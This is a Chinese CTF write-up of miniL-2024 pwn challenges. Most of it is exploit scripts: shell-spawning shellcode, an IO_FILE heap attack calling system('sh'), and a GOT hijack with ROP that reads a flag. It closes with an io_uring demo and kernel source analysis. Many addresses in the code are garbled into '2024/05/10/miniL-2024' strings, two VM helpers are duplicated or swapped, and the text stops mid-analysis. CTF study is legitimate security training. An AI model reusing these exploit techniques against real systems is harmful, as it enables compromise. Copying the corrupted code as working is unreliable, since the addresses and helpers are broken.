pwn· 更新于 2025-03-14

miniL-2024

miniL-2024

Pwn

2bytes

jmp 短跳

from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]

if 1:
    addr = '172.23.32.1:41845'
    host = addr.split(':')
    gift.io = remote(host[0], host[1])
    gift.debug = False
else:
    gift.io = process('./byte')
init_x64_context(gift.io, gift)
load_libc('/usr/lib/x86_64-linux-gnu/libc.so.6')
libc: ELF = gift['libc']
gift.elf = ELF('./byte')
cmd = "b *$rebase(0x12B0)\nc\n"
# launch_gdb(cmd)


def xor(pad):
    for i in range(3):
        pad[i + 2] ^= pad[i] ^ pad[i + 1]
    for i in pad:
        print(hex(i), end="")


ru(b'Give me the secret')
payload = b'\x48\x87\x19\x5e\xdc\xe1\x17' + b'\x00'
payload = pad_ljust(payload, 8, b'\x00') + payload
payload = payload[:0xF]
s(payload)
ru(b'Good luck')

shellcode = shellcraft.sh()
s(asm(shellcode))

ia()

ottoshop

scanf 的利用

scanf 的详细介绍

from pwncli import *

context.terminal = ["tmux", "splitw", "-h"]

if 0:
    addr = "127.0.0.1:35749"
    host = addr.split(":")
    gift.io = remote(host[0], host[1])
    gift.debug = False
else:
    gift.io = process("./ottoshop")
init_x64_context(gift.io, gift)
# load_libc()
# libc: ELF = gift['libc']
gift.elf = ELF("./ottoshop")
# launch_gdb("b *0x402148\nc\n")


def add(idx, data):
    sla(b"5.exit", b"1")
    sla(b"which", str(idx).encode())
    sa(b"name", data)


def change(idx, data):
    sla(b"5.exit", b"2")
    sla(b"which", str(idx).encode())
    sa(b"name", data)


def otto(data):
    sla(b"5.exit", b"666")
    sa(b"u find it!", data)


def check():
    sla(b"5.exit", b"4")


flag1 = 0x407010
flag2 = 0x407060
name = 0x407180
money = 0x407018
gold = 0x407980
wheelchiar = 0x407580
main = 0x4033F5
back = 0x4020A4

add(-90, b"\x7f")
check()
add(-72, b"otto")
add(-91, b"\xd0\x8c\x97\xff")
add(-92, b"\xd0\x9d\x96\x91")
otto(b"inkey")
sla(b"5.exit", b"3")
sla(b"buy", b"4")
sa(b"pass", b"+\n")
sa(b"pass", b"+\n")
sa(b"pass", b"+\n")
sl(str(back).encode())

ia()

PhoneBook

简单的堆题,打 IO_FILE

就是堆比较分散,需要一点堆风水

from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]

if 1:
    addr = '172.23.32.1:3732'
    host = addr.split(':')
    gift.io = remote(host[0], host[1])
    gift.debug = False
else:
    gift.io = process('./PhoneBook')
init_x64_context(gift.io, gift)
load_libc('/home/inkey/pwn/miniL-2024/05/10/miniL-2024//PhoneBook/libc.so.6')
libc: ELF = gift['libc']
gift.elf = ELF('./PhoneBook')
cmd = "b *$rebase(0x13ec)\nb *$rebase(0x14e2)\nb *$rebase(0x15aa)\nb *$rebase(0x169b)\nb _IO_flush_all_lockp\nb exit\nc\n"


def dbg():
    launch_gdb(cmd)
    log_address("heap", heap_base + 0x290)


def add(name, num):
    sla(b'Your Choice:', b'1')
    sla(b'Name?', name)
    sla(b'Phone Number?', num)


def dele(idx):
    sla(b'Your Choice:', b'2')
    sla(b'Index?', str(idx).encode())


def show():
    sla(b'Your Choice:', b'3')


def edit(idx, name, num):
    sla(b'Your Choice:', b'4')
    sla(b'Index?', str(idx).encode())
    sa(b'Name?', name)
    sa(b'Phone Number?', num)


chunklist = 0x4050
add('inkeyaaa', 'inkeybbb')
add('inkey', 'inkeyddd')
add('\x02', '\x02')
add('inkeyeee', 'inkeyfff')
show()
ru(b'inkeyddd')
heap_base = u64_ex(ru(b'\n', drop=True)) - 0x330
log_heap_base_addr(heap_base)
for i in range(5, 0x24):
    add(b'', b'')
for i in range(0x25, 0x38):
    add(b'', b'')
edit(2, p64_ex(heap_base + 0x348), b'inkeyddd')
edit(1, b'a' * 15, b'b' * 8 + p24_ex((heap_base + 0x2E8) & 0xFFFFFF))
edit(2, p64_ex(heap_base + 0x360) + b'\x01\x05\n', p64_ex(4))
edit(1, b'a' * 15, b'b' * 8 + p24_ex((heap_base + 0x300) & 0xFFFFFF))
edit(0x1E, b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\n', b'\x31\n')
edit(0x1F, b'\n', b'\x31\n')
dele(4)

edit(1, b'a' * 15, b'b' * 8 + p24_ex((heap_base + 0x2E8) & 0xFFFFFF))
edit(2, p64_ex(heap_base + 0x360) + b'\x04\x00\n', p64_ex(4))
show()
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x219CF0
# libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x219EE0 - 0xE10
set_current_libc_base_and_log(libc_base)
edit(1, b'a' * 15, b'b' * 8 + p24_ex((heap_base + 0x300) & 0xFFFFFF))

IO_list_all = libc.sym._IO_list_all
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
system_addr = libc.sym.system

edit(0xC, b'\n', p64_ex(_IO_wfile_jumps))
edit(0xB, b'\x00\x00\x00\x00\x00\x00\x00\x00' + p64_ex(heap_base + 0x5E8), b'\n')
edit(0x16, p64_ex(heap_base + 0x6D8 - 0x68), p64_ex(system_addr))
edit(1, b'a' * 15, b'b' * 8 + p24_ex((heap_base + 0x418) & 0xFFFFFF))
edit(0x31, b'  sh\n', b'\n')
edit(1, b'a' * 15, b'b' * 8 + p24_ex((heap_base + 0x5F8) & 0xFFFFFF))
edit(0x31, b'\x00' * 8 + b'\x90\n', b'\n')
edit(1, b'a' * 15, b'b' * 8 + p24_ex((heap_base + 0x300) & 0xFFFFFF))

for i in range(0x25, 0x38):
    dele(str(i))
for i in range(0, 7):
    add(b'', b'')
edit(1, b'a' * 15, b'b' * 8 + p24_ex((heap_base + 0xB98) & 0xFFFFFF))
edit(0x31, p64_ex(protect_ptr((heap_base + 0xB70), IO_list_all - 0x20)) + b'\n', b'\n')
add(b'', b'')
log_libc_base_addr(libc_base)
log_address_ex2(IO_list_all)
add(p64_ex(0) + p64_ex(heap_base + 0x420), b'')
# dbg()
sla(b'Your Choice:', b'5')


ia()

EasyVM

🐧师傅出的 VM 题,针不戳啊(😭

就一次的 syscall 利用,有一段 data 空间 (0x2024/05/10/miniL-2024/0000) 任意读写

利用的 syscall 目前想到的只有 mremap, vm_process_writev, io_uring

这题我是用 mremap 将 0x2024/05/10/miniL-2024/0000重新map到got表处,劫持got,并利用栈迁移的gadget

0x00000000004a4319 : mov rsp, rcx ; pop rcx ; jmp rcx

随后 ROP 打 orw

from pwncli import *
import tty

context.terminal = ["tmux", "splitw", "-h", "-l", "150"]

if 1:
    addr = "124.222.230.184:10011"
    host = addr.split(":")
    gift.io = remote(host[0], host[1])
    gift.debug = False
else:
    gift.io = process("./rootfs/chal", stdin=PTY, raw=False)
    load_libc()
    launch_gdb("b *0x403eef\nb *0x4a4319\nb* 0x4a431d\nc\nc\nni\n")
init_x64_context(gift.io, gift)
# libc: ELF = gift["libc"]
gift.elf = ELF("./rootfs/chal")
payload = ''


def NOP():
    global payload
    payload += "NOP  \n"


def LOAD(reg, addr):
    global payload
    payload += f"LOAD REG{reg}, {addr};\n"


def STORE(reg, addr):
    global payload
    payload += f"STORE REG{reg}, {addr};\n"


def MOV(reg1, reg2):
    global payload
    payload += f"MOV REG{reg1}, REG{reg2};\n"


def ADD(reg1, reg2):
    global payload
    payload += f"ADD REG{reg1}, REG{reg2};\n"


def SUB(reg1, reg2):
    global payload
    payload += f"SUB REG{reg1}, REG{reg2};\n"


def MUL(reg1, reg2):
    global payload
    payload += f"MUL REG{reg1}, REG{reg2};\n"


def DIV(reg1, reg2):
    global payload
    payload += f"DIV REG{reg1}, REG{reg2};\n"


def AND(reg1, reg2):
    global payload
    payload += f"OR REG{reg1}, REG{reg2};\n"


def OR(reg1, reg2):
    global payload
    payload += f"AND REG{reg1}, REG{reg2};\n"


def XOR(reg1, reg2):
    global payload
    payload += f"XOR REG{reg1}, REG{reg2};\n"


def NOT(reg1):
    global payload
    payload += f"NOT REG{reg1};\n"


def SHL(reg1, num):
    global payload
    payload += f"SHL REG{reg1}, {num};\n"


def SHL(reg1, num):
    global payload
    payload += f"SHR REG{reg1}, {num};\n"


def CMP(reg1, reg2):
    global payload
    payload += f"CMP REG{reg1}, REG{reg2};\n"


def JMP(addr):
    global payload
    payload += f"JMP {addr};\n"


def JE(addr):
    global payload
    payload += f"JE {addr};\n"


def JNE(addr):
    global payload
    payload += f"JNE {addr};\n"


def SET(reg, num):
    global payload
    payload += f"SET REG{reg}, {num};\n"


def INT(num):
    global payload
    payload += f"INT {num};\n"


def HLT():
    global payload
    payload += f"HLT;\n"


idx = 0


def save_addr(addr):
    global payload
    global idx
    SET(0, addr)
    STORE(0, str(hex(0x2024/05/10/miniL-2024/0000 + idx))[2:])
    idx += 8


def open_dev():
    global payload
    SET(0, '6164762f7665642f')
    STORE(0, 2024/05/10/miniL-2024/0000)
    SET(0, 2024/05/10/miniL-2024/0000)
    INT(2)
    HLT()


def open_flag():
    global payload
    SET(0, '67616c662f')
    STORE(0, 2024/05/10/miniL-2024/0000)
    SET(0, 2024/05/10/miniL-2024/0000)
    INT(2)
    HLT()


def get_pid():
    global payload
    INT(27)
    HLT()


def prace_text():
    global payload
    SET(0, 4)
    SET(1, '2CEAC7')
    SET(2, '403136')
    SET(3, 1)
    INT(65)
    HLT()


j_strcmp = 0x4E4070
rdi = 0x4062f3
rsi = 0x404e68
rdx_rbx = 0x49688b
rcx = 0x49d61b
ret = 0x4062f3
open_addr = 0x45fdb0
read_addr = 0x45fee0
write_addr = 0x45ff80
syscall = 0x460E10

def mremap():
    global payload
    save_addr('0')
    save_addr('0')
    save_addr('0')
    save_addr('44fd30')
    save_addr('44fa60')
    save_addr('456dc0')
    save_addr('43b0d0')
    save_addr('456dc0')
    save_addr('4891a0')
    save_addr('487430')
    save_addr('453f50')
    save_addr('44f300')
    save_addr('486e60')
    save_addr('455f90')
    save_addr('4a4319')  # target strncmp
    save_addr('43b640')  # 0x78
    save_addr('44d5d4')  # 0x78
    SET(0, '67616c662f')
    STORE(0, '2024/05/10/miniL-2024/0200')
    SET(0, '44f8e0')  # strnlen
    STORE(0, '2024/05/10/miniL-2024/00C8')
    SET(0, '4a9008')
    STORE(0, '2024/05/10/miniL-2024/0100')
    SET(0, '2024/05/10/miniL-2024/0000')
    SET(1, 3000)
    SET(2, 300)
    SET(3, 3)
    SET(4, '4e4000')
    payload += ' '
    INT(19)


# shellcode = shellcraft.ptrace(4, 0xD0, 0x403136, 1)
# shellcode = asm(shellcode)
# get_pid()
# open_flag()
mremap()
ru(b'end with EOF:')
payload = payload.encode()
payload += p64_ex(ret) + p64_ex(2) + p64_ex(rsi) + p64_ex(0x4e4200) + p64_ex(rdx_rbx) + p64_ex(0) * 2 + p64_ex(syscall)
payload += p64_ex(rdi) + p64_ex(2) + p64_ex(rsi) + p64_ex(0x4e4200) + p64_ex(rdx_rbx) + p64_ex(0) * 2 + p64_ex(syscall)
payload += p64_ex(rdi) + p64_ex(2) + p64_ex(rsi) + p64_ex(0x4e4200) + p64_ex(rdx_rbx) + p64_ex(0) * 2 + p64_ex(syscall)
payload += p64_ex(ret) + b'' + p64_ex(5) + p64_ex(rsi) + p64_ex(0x4e4500) + p64_ex(rdx_rbx) + p64_ex(0x60) * 2 + p64_ex(read_addr)
payload += p64_ex(rdi) + p64_ex(1) + p64_ex(rsi) + p64_ex(0x4e4500) + p64_ex(rdx_rbx) + p64_ex(0x50) * 2 + p64_ex(write_addr)
s(payload)
# s(str(chr(tty.CEOF)).encode())
# s(payload1)
s(str(chr(tty.CEOF)).encode())
s(str(chr(tty.CEOF)).encode())
s(str(chr(tty.CEOF)).encode())
gift.io.clean()
gift.io.sock.shutdown(socket.SHUT_WR)

ia()

HardVM

相比 easy 就“只”开了 pie 和 full reload😭

赛后得知这种可以用一个 syscall,利用 io_uring 实现“一键”orw

io_uring 相关资料

K✌️的 blog

Seccomp 学习

liburing 源码

Kernel 源码

找 gpt 搓的 demo

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <liburing.h>
#include <sys/mman.h>

#define FILE_PATH "./flag"
#define BUFFER_SIZE 512

int main() {
    struct io_uring ring;
    struct io_uring_sqe *sqe;
    struct io_uring_cqe *cqe;
    void *buffer;
    int ret;

    // Initialize io_uring
    ret = io_uring_queue_init(8, &ring, 0);
    if (ret < 0) {
        perror("io_uring_queue_init failed");
        return 1;
    }

    buffer = (void*)0x2024/05/10/miniL-2024/0100;
    mmap((void*)0x2024/05/10/miniL-2024/0000, 0x3000, 3, 34, -1, 0);
    // Prepare open request
    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_openat(sqe, AT_FDCWD, FILE_PATH, O_RDONLY, 0);
    sqe->flags |= IOSQE_IO_LINK; // Link this request to the next one

    // Prepare read request
    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_read(sqe, -1, buffer, BUFFER_SIZE, 0); // -1 will be filled by the open result
    sqe->flags |= IOSQE_IO_LINK; // Link this request to the next one

    // Prepare write request
    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_write(sqe, STDOUT_FILENO, buffer, BUFFER_SIZE, 0);
    sqe->user_data = 1;  // Use user_data to identify this request

    // Submit all requests at once
    ret = io_uring_submit(&ring);
    if (ret <= 0) {
        perror("io_uring_submit failed");
        return 1;
    }

    // return 1;
    // Process completion events
    int completion_count = 0;
    while (completion_count < 3) {
        ret = io_uring_wait_cqe(&ring, &cqe);
        if (ret < 0) {
            perror("io_uring_wait_cqe failed");
            break;
        }

        if (cqe->user_data == 1) {  // Check if it's the write completion
            if (cqe->res < 0) {
                fprintf(stderr, "Write failed: %s\n", strerror(-cqe->res));
            } else {
                printf("Successfully written %d bytes\n", cqe->res);
            }
        }

        io_uring_cqe_seen(&ring, cqe);
        completion_count++;
    }

    // Cleanup
    io_uring_queue_exit(&ring);

    return 0;
}

gcc ./4.c -o 4 -luring -static -g

接下来从 demo 开始分析 io_uring 的具体实现过程

初始化

首先调用 io_uring_queue_init 初始化

源码如下

__cold int io_uring_queue_init(unsigned entries, struct io_uring *ring,
			       unsigned flags)
{
	struct io_uring_params p;

	memset(&p, 0, sizeof(p));
	p.flags = flags;

	return io_uring_queue_init_params(entries, ring, &p);
}
int io_uring_queue_init_params(unsigned entries, struct io_uring *ring,
			       struct io_uring_params *p)
{
	int ret;

	ret = io_uring_queue_init_try_nosqarr(entries, ring, p, NULL, 0);
	return ret >= 0 ? 0 : ret;
}
static int io_uring_queue_init_try_nosqarr(unsigned entries, struct io_uring *ring,
					   struct io_uring_params *p, void *buf,
					   size_t buf_size)
{
	unsigned flags = p->flags;
	int ret;

	p->flags |= IORING_SETUP_NO_SQARRAY;
	ret = __io_uring_queue_init_params(entries, ring, p, buf, buf_size);

	/* don't fallback if explicitly asked for NOSQARRAY */
	if (ret != -EINVAL || (flags & IORING_SETUP_NO_SQARRAY))
		return ret;

	p->flags = flags;
	return __io_uring_queue_init_params(entries, ring, p, buf, buf_size);
}
int __io_uring_queue_init_params(unsigned entries, struct io_uring *ring,
				 struct io_uring_params *p, void *buf,
				 size_t buf_size)
{
	int fd, ret = 0;
	unsigned *sq_array;
	unsigned sq_entries, index;

	memset(ring, 0, sizeof(*ring));

	/*
	 * The kernel does this check already, but checking it here allows us
	 * to avoid handling it below.
	 */
	if (p->flags & IORING_SETUP_REGISTERED_FD_ONLY
	    && !(p->flags & IORING_SETUP_NO_MMAP))
		return -EINVAL;

	if (p->flags & IORING_SETUP_NO_MMAP) {
		ret = io_uring_alloc_huge(entries, p, &ring->sq, &ring->cq,
						buf, buf_size);
		if (ret < 0)
			return ret;
		if (buf)
			ring->int_flags |= INT_FLAG_APP_MEM;
	}

	fd = __sys_io_uring_setup(entries, p);
	if (fd < 0) {
		if ((p->flags & IORING_SETUP_NO_MMAP) &&
		    !(ring->int_flags & INT_FLAG_APP_MEM)) {
			__sys_munmap(ring->sq.sqes, 1);
			io_uring_unmap_rings(&ring->sq, &ring->cq);
		}
		return fd;
	}

	if (!(p->flags & IORING_SETUP_NO_MMAP)) {
		ret = io_uring_queue_mmap(fd, p, ring);
		if (ret) {
			__sys_close(fd);
			return ret;
		}
	} else {
		io_uring_setup_ring_pointers(p, &ring->sq, &ring->cq);
	}

	/*
	 * Directly map SQ slots to SQEs
	 */
	sq_entries = ring->sq.ring_entries;

	if (!(p->flags & IORING_SETUP_NO_SQARRAY)) {
		sq_array = ring->sq.array;
		for (index = 0; index < sq_entries; index++)
			sq_array[index] = index;
	}
	ring->features = p->features;
	ring->flags = p->flags;
	ring->enter_ring_fd = fd;
	if (p->flags & IORING_SETUP_REGISTERED_FD_ONLY) {
		ring->ring_fd = -1;
		ring->int_flags |= INT_FLAG_REG_RING | INT_FLAG_REG_REG_RING;
	} else {
		ring->ring_fd = fd;
	}

	return ret;
}

简单来说就是初始化了一个 fd,来和内核做交互,并将其 mmap 到虚拟内存方便交互

接下来的操作都是对映射到虚拟地址的部分做操作

写入想执行的操作

sqe = *io_uring_get_sqe*(&ring);

拿到 sqe 队列的映射地址

*io_uring_prep_openat*(sqe, AT_FDCWD, FILE_PATH, O_RDONLY, 0);

对 sqe 队列这个结构体做调整

IOURINGINLINE void io_uring_prep_openat(struct io_uring_sqe *sqe, int dfd,
					const char *path, int flags,
					mode_t mode)
{
	io_uring_prep_rw(IORING_OP_OPENAT, sqe, dfd, path, mode, 0);
	sqe->open_flags = (__u32) flags;
}
IOURINGINLINE void io_uring_prep_rw(int op, struct io_uring_sqe *sqe, int fd,
				    const void *addr, unsigned len,
				    __u64 offset)
{
	sqe->opcode = (__u8) op;
	sqe->fd = fd;
	sqe->off = offset;
	sqe->addr = (unsigned long) addr;
	sqe->len = len;
}

sqe 结构体

struct io_uring_sqe {
	__u8	opcode;		/* type of operation for this sqe */
	__u8	flags;		/* IOSQE_ flags */
	__u16	ioprio;		/* ioprio for the request */
	__s32	fd;		/* file descriptor to do IO on */
	union {
		__u64	off;	/* offset into file */
		__u64	addr2;
		struct {
			__u32	cmd_op;
			__u32	__pad1;
		};
	};
	union {
		__u64	addr;	/* pointer to buffer or iovecs */
		__u64	splice_off_in;
		struct {
			__u32	level;
			__u32	optname;
		};
	};
	__u32	len;		/* buffer size or number of iovecs */
	union {
		__kernel_rwf_t	rw_flags;
		__u32		fsync_flags;
		__u16		poll_events;	/* compatibility */
		__u32		poll32_events;	/* word-reversed for BE */
		__u32		sync_range_flags;
		__u32		msg_flags;
		__u32		timeout_flags;
		__u32		accept_flags;
		__u32		cancel_flags;
		__u32		open_flags;
		__u32		statx_flags;
		__u32		fadvise_advice;
		__u32		splice_flags;
		__u32		rename_flags;
		__u32		unlink_flags;
		__u32		hardlink_flags;
		__u32		xattr_flags;
		__u32		msg_ring_flags;
		__u32		uring_cmd_flags;
		__u32		waitid_flags;
		__u32		futex_flags;
		__u32		install_fd_flags;
	};
	__u64	user_data;	/* data to be passed back at completion time */
	/* pack this to avoid bogus arm OABI complaints */
	union {
		/* index into fixed buffers, if used */
		__u16	buf_index;
		/* for grouped buffer selection */
		__u16	buf_group;
	} __attribute__((packed));
	/* personality to use, if used */
	__u16	personality;
	union {
		__s32	splice_fd_in;
		__u32	file_index;
		__u32	optlen;
		struct {
			__u16	addr_len;
			__u16	__pad3[1];
		};
	};
	union {
		struct {
			__u64	addr3;
			__u64	__pad2[1];
		};
		__u64	optval;
		/*
		 * If the ring is initialized with IORING_SETUP_SQE128, then
		 * this field is used for 80 bytes of arbitrary command data
		 */
		__u8	cmd[0];
	};
};

可以看到这些操作就是在布置 sqe 结构体,告诉内核我们想做什么

*io_uring_prep_read*(sqe, -1, buffer, BUFFER_SIZE, 0);

*io_uring_prep_write*(sqe, STDOUT_FILENO, buffer, BUFFER_SIZE, 0);

同理,这些也是在布置 sqe 队列

提交队列

ret = *io_uring_submit*(&ring);

int io_uring_submit(struct io_uring *ring)
{
	return __io_uring_submit_and_wait(ring, 0);
}
static int __io_uring_submit_and_wait(struct io_uring *ring, unsigned wait_nr)
{
	return __io_uring_submit(ring, __io_uring_flush_sq(ring), wait_nr, false);
}
static int __io_uring_submit(struct io_uring *ring, unsigned submitted,
			     unsigned wait_nr, bool getevents)
{
	bool cq_needs_enter = getevents || wait_nr || cq_ring_needs_enter(ring);
	unsigned flags;
	int ret;

	flags = 0;
	if (sq_ring_needs_enter(ring, submitted, &flags) || cq_needs_enter) {
		if (cq_needs_enter)
			flags |= IORING_ENTER_GETEVENTS;
		if (ring->int_flags & INT_FLAG_REG_RING)
			flags |= IORING_ENTER_REGISTERED_RING;

		ret = __sys_io_uring_enter(ring->enter_ring_fd, submitted,
					   wait_nr, flags, NULL);
	} else
		ret = submitted;

	return ret;
}

ret = __sys_io_uring_enter(ring->enter_ring_fd, submitted, wait_nr, flags, NULL);

最终利用 syscall sys_io_uring_enter 向内核提交队列

总结

初始化 io 队列 –> 将操作写入 sqe 队列(sqe 结构体) –> 提交队列

但是

有人就会问了,诶,这题不是限制一次 syscall 吗,sys_io_uring_setup 和 sys_io_uring_enter 不是两个 syscall 吗,这不是超了吗

诶,其实 io_uring 正在飞速的迭代,每个内核版本都是不一样的

题目给的内核版本

./bzImage: Linux kernel x86 boot executable bzImage, version 6.6.1 (root@fuzz) #2 SMP PREEMPT_DYNAMIC Sat Nov 18 21:11:32 CST 2023, RO-rootFS, swap_dev 0XB, Normal VGA

初始化的时候,sys_io_uring_setup 就自带了提交队列的功能

源码如下

SYSCALL_DEFINE2(io_uring_setup, u32, entries,
		struct io_uring_params __user *, params)
{
	if (!io_uring_allowed())
		return -EPERM;

	return io_uring_setup(entries, params);
}

可以看到,setup 的 2 参通过 copy_from_user 传给了 p

static long io_uring_setup(u32 entries, struct io_uring_params __user *params)
{
	struct io_uring_params p;
	int i;

	if (copy_from_user(&p, params, sizeof(p)))
		return -EFAULT;
	for (i = 0; i < ARRAY_SIZE(p.resv); i++) {
		if (p.resv[i])
			return -EINVAL;
	}

	if (p.flags & ~(IORING_SETUP_IOPOLL | IORING_SETUP_SQPOLL |
			IORING_SETUP_SQ_AFF | IORING_SETUP_CQSIZE |
			IORING_SETUP_CLAMP | IORING_SETUP_ATTACH_WQ |
			IORING_SETUP_R_DISABLED | IORING_SETUP_SUBMIT_ALL |
			IORING_SETUP_COOP_TASKRUN | IORING_SETUP_TASKRUN_FLAG |
			IORING_SETUP_SQE128 | IORING_SETUP_CQE32 |
			IORING_SETUP_SINGLE_ISSUER | IORING_SETUP_DEFER_TASKRUN |
			IORING_SETUP_NO_MMAP | IORING_SETUP_REGISTERED_FD_ONLY |
			IORING_SETUP_NO_SQARRAY))
		return -EINVAL;

	return io_uring_create(entries, &p, params);
}
static __cold int io_uring_create(unsigned entries, struct io_uring_params *p,
				  struct io_uring_params __user *params)
{
	struct io_ring_ctx *ctx;
	struct io_uring_task *tctx;
	struct file *file;
	int ret;

	if (!entries)
		return -EINVAL;
	if (entries > IORING_MAX_ENTRIES) {
		if (!(p->flags & IORING_SETUP_CLAMP))
			return -EINVAL;
		entries = IORING_MAX_ENTRIES;
	}

	if ((p->flags & IORING_SETUP_REGISTERED_FD_ONLY)
	    && !(p->flags & IORING_SETUP_NO_MMAP))
		return -EINVAL;

	/*
	 * Use twice as many entries for the CQ ring. It's possible for the
	 * application to drive a higher depth than the size of the SQ ring,
	 * since the sqes are only used at submission time. This allows for
	 * some flexibility in overcommitting a bit. If the application has
	 * set IORING_SETUP_CQSIZE, it will have passed in the desired number
	 * of CQ ring entries manually.
	 */
	p->sq_entries = roundup_pow_of_two(entries);
	if (p->flags & IORING_SETUP_CQSIZE) {
		/*
		 * If IORING_SETUP_CQSIZE is set, we do the same roundup
		 * to a power-of-two, if it isn't already. We do NOT impose
		 * any cq vs sq ring sizing.
		 */
		if (!p->cq_entries)
			return -EINVAL;
		if (p->cq_entries > IORING_MAX_CQ_ENTRIES) {
			if (!(p->flags & IORING_SETUP_CLAMP))
				return -EINVAL;
			p->cq_entries = IORING_MAX_CQ_ENTRIES;
		}
		p->cq_entries = roundup_pow_of_two(p->cq_entries);
		if (p->cq_entries < p->sq_entries)
			return -EINVAL;
	} else {
		p->cq_entries = 2 * p->sq_entries;
	}

	ctx = io_ring_ctx_alloc(p);
	if (!ctx)
		return -ENOMEM;

	if ((ctx->flags & IORING_SETUP_DEFER_TASKRUN) &&
	    !(ctx->flags & IORING_SETUP_IOPOLL) &&
	    !(ctx->flags & IORING_SETUP_SQPOLL))
		ctx->task_complete = true;

	if (ctx->task_complete || (ctx->flags & IORING_SETUP_IOPOLL))
		ctx->lockless_cq = true;

	/*
	 * lazy poll_wq activation relies on ->task_complete for synchronisation
	 * purposes, see io_activate_pollwq()
	 */
	if (!ctx->task_complete)
		ctx->poll_activated = true;

	/*
	 * When SETUP_IOPOLL and SETUP_SQPOLL are both enabled, user
	 * space applications don't need to do io completion events
	 * polling again, they can rely on io_sq_thread to do polling
	 * work, which can reduce cpu usage and uring_lock contention.
	 */
	if (ctx->flags & IORING_SETUP_IOPOLL &&
	    !(ctx->flags & IORING_SETUP_SQPOLL))
		ctx->syscall_iopoll = 1;

	ctx->compat = in_compat_syscall();
	if (!ns_capable_noaudit(&init_user_ns, CAP_IPC_LOCK))
		ctx->user = get_uid(current_user());

	/*
	 * For SQPOLL, we just need a wakeup, always. For !SQPOLL, if
	 * COOP_TASKRUN is set, then IPIs are never needed by the app.
	 */
	ret = -EINVAL;
	if (ctx->flags & IORING_SETUP_SQPOLL) {
		/* IPI related flags don't make sense with SQPOLL */
		if (ctx->flags & (IORING_SETUP_COOP_TASKRUN |
				  IORING_SETUP_TASKRUN_FLAG |
				  IORING_SETUP_DEFER_TASKRUN))
			goto err;
		ctx->notify_method = TWA_SIGNAL_NO_IPI;
	} else if (ctx->flags & IORING_SETUP_COOP_TASKRUN) {
		ctx->notify_method = TWA_SIGNAL_NO_IPI;
	} else {
		if (ctx->flags & IORING_SETUP_TASKRUN_FLAG &&
		    !(ctx->flags & IORING_SETUP_DEFER_TASKRUN))
			goto err;
		ctx->notify_method = TWA_SIGNAL;
	}

	/*
	 * For DEFER_TASKRUN we require the completion task to be the same as the
	 * submission task. This implies that there is only one submitter, so enforce
	 * that.
	 */
	if (ctx->flags & IORING_SETUP_DEFER_TASKRUN &&
	    !(ctx->flags & IORING_SETUP_SINGLE_ISSUER)) {
		goto err;
	}

	/*
	 * This is just grabbed for accounting purposes. When a process exits,
	 * the mm is exited and dropped before the files, hence we need to hang
	 * on to this mm purely for the purposes of being able to unaccount
	 * memory (locked/pinned vm). It's not used for anything else.
	 */
	mmgrab(current->mm);
	ctx->mm_account = current->mm;

	ret = io_allocate_scq_urings(ctx, p);
	if (ret)
		goto err;

	ret = io_sq_offload_create(ctx, p);
	if (ret)
		goto err;

	ret = io_rsrc_init(ctx);
	if (ret)
		goto err;

	p->sq_off.head = offsetof(struct io_rings, sq.head);
	p->sq_off.tail = offsetof(struct io_rings, sq.tail);
	p->sq_off.ring_mask = offsetof(struct io_rings, sq_ring_mask);
	p->sq_off.ring_entries = offsetof(struct io_rings, sq_ring_entries);
	p->sq_off.flags = offsetof(struct io_rings, sq_flags);
	p->sq_off.dropped = offsetof(struct io_rings, sq_dropped);
	if (!(ctx->flags & IORING_SETUP_NO_SQARRAY))
		p->sq_off.array = (char *)ctx->sq_array - (char *)ctx->rings;
	p->sq_off.resv1 = 0;
	if (!(ctx->flags & IORING_SETUP_NO_MMAP))
		p->sq_off.user_addr = 0;

	p->cq_off.head = offsetof(struct io_rings, cq.head);
	p->cq_off.tail = offsetof(struct io_rings, cq.tail);
	p->cq_off.ring_mask = offsetof(struct io_rings, cq_ring_mask);
	p->cq_off.ring_entries = offsetof(struct io_rings, cq_ring_entries);
	p->cq_off.overflow = offsetof(struct io_rings, cq_overflow);
	p->cq_off.cqes = offsetof(struct io_rings, cqes);
	p->cq_off.flags = offsetof(struct io_rings, cq_flags);
	p->cq_off.resv1 = 0;
	if (!(ctx->flags & IORING_SETUP_NO_MMAP))
		p->cq_off.user_addr = 0;

	p->features = IORING_FEAT_SINGLE_MMAP | IORING_FEAT_NODROP |
			IORING_FEAT_SUBMIT_STABLE | IORING_FEAT_RW_CUR_POS |
			IORING_FEAT_CUR_PERSONALITY | IORING_FEAT_FAST_POLL |
			IORING_FEAT_POLL_32BITS | IORING_FEAT_SQPOLL_NONFIXED |
			IORING_FEAT_EXT_ARG | IORING_FEAT_NATIVE_WORKERS |
			IORING_FEAT_RSRC_TAGS | IORING_FEAT_CQE_SKIP |
			IORING_FEAT_LINKED_FILE | IORING_FEAT_REG_REG_RING;

	if (copy_to_user(params, p, sizeof(*p))) {
		ret = -EFAULT;
		goto err;
	}

	if (ctx->flags & IORING_SETUP_SINGLE_ISSUER
	    && !(ctx->flags & IORING_SETUP_R_DISABLED))
		WRITE_ONCE(ctx->submitter_task, get_task_struct(current));

	file = io_uring_get_file(ctx);
	if (IS_ERR(file)) {
		ret = PTR_ERR(file);
		goto err;
	}

	ret = __io_uring_add_tctx_node(ctx);
	if (ret)
		goto err_fput;
	tctx = current->io_uring;

	/*
	 * Install ring fd as the very last thing, so we don't risk someone
	 * having closed it before we finish setup
	 */
	if (p->flags & IORING_SETUP_REGISTERED_FD_ONLY)
		ret = io_ring_add_registered_file(tctx, file, 0, IO_RINGFD_REG_MAX);
	else
		ret = io_uring_install_fd(file);
	if (ret < 0)
		goto err_fput;

	trace_io_uring_create(ret, ctx, p->sq_entries, p->cq_entries, p->flags);
	return ret;
err:
	io_ring_ctx_wait_and_kill(ctx);
	return ret;
err_fput:
	fput(file);
	return ret;
}

简单来说就是对传入的队列进行解析参数,也就是说 setup 中已经完成了队列提交这一个动作

分析完成,伪造结构体

先把程序生成的结构体 dump 下来看看

&ring

结构体

